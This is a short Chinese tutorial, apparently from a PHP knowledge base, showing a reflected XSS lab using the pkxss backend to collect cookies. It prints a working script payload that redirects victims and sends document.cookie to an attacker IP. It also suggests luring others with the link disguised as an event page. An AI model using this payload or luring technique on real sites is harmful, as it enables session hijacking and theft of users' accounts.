[PHP知识库]【渗透测试】通过XSS漏洞获取Cookie等信息 | 反射型

# 模拟场景

攻击者（插入XSS代码、接收信息API后台）如：192.168.88.128

被攻击端（被插入XSS跨站脚本代码）如：192.168.110.1

用户端（触发攻击者发送的恶意欺骗链接）如：不限....

# 模拟演示

攻击者端用虚拟机搭建pkxss后台，用于接收获取cookie信息

打开pkxss目录下的xcookie文件，配置用户正在访问的重定向

?XSS攻击代码配置，这段代码是插入被攻击端，攻击端后台去接收被攻击端的cookie

<script>document.location='http://192.168.88.128/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

?去被攻击端页面插入XSS代码

?接收到Cookie了，并且还有其他的信息，IP地址、生成的攻击链接、浏览器操作系统等信息

生成的攻击链接，可发给其他并且告诉他/她这是一个活动链接，让他去访问，并且获取到他/她的cookie信息。

?